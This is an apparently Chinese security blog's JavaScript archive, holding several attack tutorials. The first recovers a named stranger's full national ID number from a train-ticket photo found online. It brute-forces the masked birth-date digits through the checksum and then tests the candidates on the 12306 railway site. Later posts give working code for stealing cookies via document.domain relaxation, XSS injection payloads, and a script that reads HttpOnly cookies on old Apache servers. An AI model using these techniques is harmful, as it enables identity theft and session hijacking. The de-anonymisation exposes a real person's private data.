分类目录归档:javascript

破解火车票上的身份证号码

首先我在百度上找到了一个他人的火车票图片

接着从图片里我们可以获取到信息如下:

姓名 梅勇
性别 男 (倒数第四位至倒数第二位3位数为顺序码,顺序码为奇数所以为男性)
(可参考http://www.cnblogs.com/xudong-bupt/p/3293838.html)
来自 武汉市新洲区 (身份证号码前六位代表地区)
(可参考http://www.stats.gov.cn/tjsj/tjbz/xzqhdm/200406/t20040607_38302.html)

身份证号码:4201171988xxxx1638

得到上述消息后,我们可以通过身份证号码验证算法对其进行有效性验证和排除。
(可参考http://www.cnblogs.com/xudong-bupt/p/3293838.html)

我用JS实现了一个有效性验证,代码如下:

var sfz_qian="4201171988";
var sfz_hou4="1638";
var sfzhm="";
for(i=1;i<=12;i++)
{
  //为了程序的方便,我就假设每个月有31天
  for(j=1;j<=31;j++){
		if(i<10){
			if(j<10){
				sfzhm=sfz_qian+"0"+i+"0"+j+sfz_hou4;
			}else{
				sfzhm=sfz_qian+"0"+i+j+sfz_hou4;
			}
			result=getvalidcode(sfzhm);
	        	if(result!=false){
        	        	console.log(result);
        		}
 
		}else{
			if(j<10){
                               sfzhm=sfz_qian+i+"0"+j+sfz_hou4;
                        }else{
                               sfzhm=sfz_qian+i+j+sfz_hou4;
                        }
			result=getvalidcode(sfzhm);
       	 		if(result!=false){
			      console.log(result);
        	        }
 
		}		
 
		}
	}
 
 
 
function getvalidcode(sfzhm_new){
 
var sum=0;
var weight=[7,9,10,5,8,4,2,1,6,3,7,9,10,5,8,4,2];
var validate=['1','0','X','9','8','7','6','5','4','3','2'];
for(m=0;m<sfzhm_new.length-1;m++){
sum+=sfzhm_new[m]*weight[m];
}
mode=sum%11;
if(sfzhm_new[17]==validate[mode]){
	return sfzhm_new;
}else{
	return false;
}
 
}

代码运行后如下:

接着我们导出35条记录做为字典,拿到12306进行暴力添加常用联系人,最后我们得到了该图片上面的身份证号码了

Cookie与同源策略的问题

0x00 简介

在浏览网站的时候,我们可以看见每个域名的cookie域范围都不一样,如果你看见cookie域与网站的域名不一样,那就可能是第三方cookie。这里我们不讨论第三方cookie,先从cookie域安全搞起:)

0x01 思路

在攻击网站的时候,我们主站拿不下的时候,往往就从旁站开始搞起。而cookie设置域范围也一样。

1.假设本站为www.leesec.com 我设置cookie的域范围为www.leesec.com,但是我又设置了window.domain=leesec.com,导致blog.leesec.com(我随便取的) 与www.leesec.com同源,这样我们可以通过同源策略可以获取到www.leesec.com的cookie,这个例子我归为(安全的cookie域,不安全的同源)www.leesec.com/setcookie.html页面代码如下:

<script type="text/javascript">
document.domain="leesec.com";
setCookie("user","admin");
function setCookie(name,value){
	var date=new Date();
	date.setTime(date.getTime()+3*24*60*60*1000);
	document.cookie=name+"="+value+";expires="+date.toGMTString()+";path=/";
}
</script>

blog.leesec.com/getcookie.html页面代码如下

<iframe id="test" src="http://www.leesec.com/setcookie.html"></iframe>
<script type="text/javascript">
document.domain="leesec.com";
var dom=document.getElementById("test");
dom.onload=function(){
	alert(dom.contentWindow.document.cookie);
}
 
</script>

这样blog.leesec.com页面就可以获取到www.leesec.com的cookie。
同理cookie的域不安全,域名同源安全,也是可以被攻破的。
0x02 总结
2者之中 如果有一方安全性做的很差,整个网站的cookie与同源安全性就取决于弱的一方。

利用html5 canvas标签破解验证码 —待完善

0x00 思考

验证码破解第一步 识别图像的尺寸

<script>
function test(image_data){
 alert('宽度'+image_data.width+'高度'+image_data.height);
}
var img=new Image();
 
img.onload=function(){
	 test(img);
};
img.src="1.jpg"; //我是本地图片,你也可以放网络图片的
</script>

验证码破解第二步 把图片放到画布里去
将上面代码做以下改进

<canvas id="myCanvas">your browser does not support the canvas tag </canvas>
<script>
function test(image_data){
 var cav=document.getElementById("myCanvas"); //获取canvas的元素对象
 var ctx=cav.getContext("2d"); 
 ctx.drawImage(image_data,0,0); //把image_data图像显示在画布上
}
var img=new Image();
 
img.onload=function(){
	 test(img);
};
img.src="1.jpg"; //我是本地图片,你也可以放网络图片的
</script>

验证码破解第三步 分析验证码图片
啊啊啊,拖延症好严重啊,肿么办啊- –
1.验证码图片的底色是否会随机更换
2.验证码图片里面的字符位置是否一致(比如abcd字符串第一次居中,第二次跑到最右边,或者是居中)
3.验证码图片的字符颜色与底色像素值是否在一个很小的区间
4.字体是什么字体

当然还有更复杂的验证码,不在本文的讨论范围内.
我们就说说 最简单的验证码识别吧 – –
底色白色、字符颜色为黑色、字体正常的、字体居中。(假设验证码是数字)
要识别图片的数字可以把图片的4个数字,分层4块,然后每块根据像素点的值,猜解数字。思路清楚了,我们开始猜解之旅吧

验证码破解第四步 猜解数字

…. 留到下次写
最近开发有点忙不好意思啊,文章更新有点慢啊- –

JS安全开发那些事—待完善

jquery框架

jquery中的 $(“x”).html(变量); //如果变量可控,可能会导致XSS、XSIO、CSRF、黑帽seo 等等

js dialog对话框

art.dialog({title:变量,content:变量}); //我在网上看过某些程序的代码,dialog这里的content的变量是根本没有过滤,直接XSS

网页搜索的时候,输出在JS里的情况

例如我搜索xss,然后查看源代码如下:

<script>
 $(document).ready(function(){
var get_data = {name: 'leesec', query: "xss"};
$.get('/test.php, get_data, function (reply) {
         ..........
}
<script>

搜索的时候,在JS里面输出字符
接下来我们只要构造好语句,即可弹框
搜索 “};alert(1);//

<script>
 $(document).ready(function(){
var get_data = {name: 'leesec', query: ""};alert(1);//"}
$.get('/test.php, get_data, function (reply) {
         ..........
}
<script>

js代码里换行的重要性

<script>
alert("12");  //在url地址栏路输入 %0a 可在js里换行 导致XSS
<script>

顺带提一下 %0d%0a 回车换行,用来CRLF 注入

js里jquery,ajax的使用注意事项

<script>
	$.ajax({
		type: 'POST',
		url: '/test.php',
		data: 'id=' + id + '&name=' + name
		success: function(response) {}
	});
<script>

上面这代码是在普通不过的代码,但是呢,如果id和name中有一个变量的值可控,

data:'id=x&name=test'});alert(1);</script>那么我们就能执行js代码了

获取HttpOnly cookie方法(限Apache2.2.11以下版本)

首先建立个页面为test.php,为该页面设置2个 cookie值,代码如下:

<?php
setcookie("open",1,time()+3600,"","",0);  //一般的COOKIE
setcookie("private",1,time()+3600,"","",0,1);  //设置为HTTPONLY COOKIE
?>

接着我在test.php页面里面插入JS代码alert(document.cookie);看是否能查看到2个cookie的值。结果为open=1

接下来我们的目标就是获取到httponly的cookie,接下来我们创建一个ajax.js文件,文件代码如下:(JS代码来自于https://gist.github.com/pilate/1955a1c28324d4724b7b/)

// Most browsers limit cookies to 4k characters, so we need multiple
function setCookies (good) {
// Construct string for cookie value
var str = "";
for (var i=0; i< 819; i++) {
str += "x";
}
// Set cookies
for (i = 0; i < 10; i++) {
// Expire evil cookie
if (good) {
var cookie = "xss"+i+"=;expires="+new Date(+new Date()-1).toUTCString()+"; path=/;";
}
// Set evil cookie
else {
var cookie = "xss"+i+"="+str+";path=/";
}
document.cookie = cookie;
}
}
 
function makeRequest() {
setCookies();
 
function parseCookies () {
var cookie_dict = {};
// Only react on 400 status
if (xhr.readyState === 4 && xhr.status === 400) {
// Replace newlines and match <pre> content
var content = xhr.responseText.replace(/\r|\n/g,'').match(/<pre>(.+)<\/pre>/);
if (content.length) {
// Remove Cookie: prefix
content = content[1].replace("Cookie: ", "");
var cookies = content.replace(/xss\d=x+;?/g, '').split(/;/g);
// Add cookies to object
for (var i=0; i<cookies.length; i++) {
var s_c = cookies[i].split('=',2);
cookie_dict[s_c[0]] = s_c[1];
}
}
// Unset malicious cookies
setCookies(true);
alert(JSON.stringify(cookie_dict));
}
}
// Make XHR request
var xhr = new XMLHttpRequest();
xhr.onreadystatechange = parseCookies;
xhr.open("GET", "test.php", true);  //请求当前目录下的test.php文件 
xhr.send(null);
}
 
makeRequest();

然后在修改下test.php代码文件

<?php
setcookie("open",1,time()+3600,"","",0);
setcookie("private",1,time()+3600,"","",0,1);
 
?>
 
<script src="ajax.js"></script>
 
<body onload="makeRequest();">

接着就访问test.php文件即可访问到
open=1;private=1